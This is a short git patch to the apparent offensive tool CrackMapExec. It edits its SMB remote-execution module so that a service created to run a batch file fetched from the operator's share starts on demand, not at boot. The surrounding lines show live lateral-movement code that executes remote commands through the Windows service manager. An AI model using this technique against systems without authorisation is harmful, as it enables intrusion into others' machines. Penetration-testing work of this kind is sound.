From 527b58d05caae709289dd4c03701ec87a289d573 Mon Sep 17 00:00:00 2001 From: Louis Dion-Marcil Date: Fri, 4 Aug 2017 14:19:06 -0400 Subject: [PATCH] Don't make service auto-start (disable reboot persistance) --- cme/protocols/smb/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index 2d4e729f..3c0cd6e5 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -89,8 +89,8 @@ class SMBEXEC: command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) - resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) logging.debug('Remote service {} created.'.format(self.__serviceName)) + resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: